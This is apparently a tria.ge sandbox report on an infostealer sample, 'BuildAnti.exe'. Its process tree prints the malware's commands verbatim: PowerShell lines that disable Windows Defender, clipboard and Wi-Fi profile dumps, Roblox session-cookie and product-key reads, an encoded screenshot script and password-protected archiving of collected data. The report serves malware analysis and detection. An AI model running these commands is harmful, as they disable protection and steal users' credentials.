Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/01/2025, 21:11

General

  • Target

    BuildAnti.exe

  • Size

    6.8MB

  • MD5

    6ca3af9f2b35018656c3e3c50fed4d5b

  • SHA1

    db76da5f8cfee5c4ad613d238231968608f4576e

  • SHA256

    1f36c3cb1c8b3cf49b38b47ca5f51c81fb0c0e089ec23e915308467f0515bcc1

  • SHA512

    249711de4ca1fdda7582f2236cad821e6e597a37f182a0fc61d3e77c93355403549c54228b3a326f195ae3df2f43e6e1e85bfbbfae18c2390beab673d4538453

  • SSDEEP

    98304:vvkwN+MdA5wqMXh8MMhJMjarJaon7JPzf+JiUCS3swhzqgez7DoDZDJ1n6hBnLnU:vvV1UB6ylnlPzf+JiJCsmFMvcn6hVvQ

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 3 IoCs
  • UPX packed file 60 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\BuildAnti.exe
    "C:\Users\Admin\AppData\Local\Temp\BuildAnti.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3112
    • C:\Users\Admin\AppData\Local\Temp\BuildAnti.exe
      "C:\Users\Admin\AppData\Local\Temp\BuildAnti.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1092
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\BuildAnti.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2004
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\BuildAnti.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:464
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2384
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5040
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:676
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:2072
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4616
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4916
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1804
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4356
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        3⤵
        • Clipboard Data
        • Suspicious use of WriteProcessMemory
        PID:3148
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Get-Clipboard
          4⤵
          • Clipboard Data
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4088
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:60
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:1240
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1556
        • C:\Windows\system32\tree.com
          tree /A /F
          4⤵
            PID:4272
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
          3⤵
          • System Network Configuration Discovery: Wi-Fi Discovery
          • Suspicious use of WriteProcessMemory
          PID:3440
          • C:\Windows\system32\netsh.exe
            netsh wlan show profile
            4⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:2960
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "systeminfo"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2836
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            4⤵
            • Gathers system information
            PID:3672
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2456
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4848
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wr20heoa\wr20heoa.cmdline"
              5⤵
                PID:2340
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDA43.tmp" "c:\Users\Admin\AppData\Local\Temp\wr20heoa\CSC86D86E839E7248908C20E18C9A99722A.TMP"
                  6⤵
                    PID:2844
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4220
              • C:\Windows\system32\tree.com
                tree /A /F
                4⤵
                  PID:3620
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1712
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:3936
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3040
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:3880
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4052
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:1196
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                      3⤵
                        PID:2172
                        • C:\Windows\system32\tree.com
                          tree /A /F
                          4⤵
                            PID:3996
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                          3⤵
                            PID:264
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                              4⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1444
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                            3⤵
                              PID:3956
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                4⤵
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:852
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "getmac"
                              3⤵
                                PID:4488
                                • C:\Windows\System32\Conhost.exe
                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                  4⤵
                                    PID:4088
                                  • C:\Windows\system32\getmac.exe
                                    getmac
                                    4⤵
                                      PID:3876
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI31122\rar.exe a -r -hp"4545" "C:\Users\Admin\AppData\Local\Temp\jL5yc.zip" *"
                                    3⤵
                                      PID:2980
                                      • C:\Users\Admin\AppData\Local\Temp\_MEI31122\rar.exe
                                        C:\Users\Admin\AppData\Local\Temp\_MEI31122\rar.exe a -r -hp"4545" "C:\Users\Admin\AppData\Local\Temp\jL5yc.zip" *
                                        4⤵
                                        • Executes dropped EXE
                                        PID:1680
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                      3⤵
                                        PID:3216
                                        • C:\Windows\System32\Wbem\WMIC.exe
                                          wmic os get Caption
                                          4⤵
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3196
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                        3⤵
                                          PID:312
                                          • C:\Windows\System32\Wbem\WMIC.exe
                                            wmic computersystem get totalphysicalmemory
                                            4⤵
                                              PID:1996
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                            3⤵
                                              PID:1316
                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                wmic csproduct get uuid
                                                4⤵
                                                  PID:4012
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                3⤵
                                                  PID:4072
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                    4⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:5044
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                  3⤵
                                                    PID:1964
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic path win32_VideoController get name
                                                      4⤵
                                                      • Detects videocard installed
                                                      PID:368
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                    3⤵
                                                      PID:2584
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                        4⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:1816

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                  Filesize

                                                  2KB

                                                  MD5

                                                  d85ba6ff808d9e5444a4b369f5bc2730

                                                  SHA1

                                                  31aa9d96590fff6981b315e0b391b575e4c0804a

                                                  SHA256

                                                  84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                  SHA512

                                                  8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                  Filesize

                                                  944B

                                                  MD5

                                                  3a6bad9528f8e23fb5c77fbd81fa28e8

                                                  SHA1

                                                  f127317c3bc6407f536c0f0600dcbcf1aabfba36

                                                  SHA256

                                                  986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05

                                                  SHA512

                                                  846002154a0ece6f3e9feda6f115d3161dc21b3789525dd62ae1d9188495171293efdbe7be4710666dd8a15e66b557315b5a02918a741ed1d5f3ff0c515b98e2

                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                  Filesize

                                                  944B

                                                  MD5

                                                  cadef9abd087803c630df65264a6c81c

                                                  SHA1

                                                  babbf3636c347c8727c35f3eef2ee643dbcc4bd2

                                                  SHA256

                                                  cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

                                                  SHA512

                                                  7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                  Filesize

                                                  1KB

                                                  MD5

                                                  c4231f3c18597f1707dc30421dff8dd6

                                                  SHA1

                                                  16d8ff5987655a2c08d63a2b837fcddd8f521032

                                                  SHA256

                                                  8671bbdf48af9c47a0db99dce54c8f4815277fb8b1336740c5812b1d4fa74362

                                                  SHA512

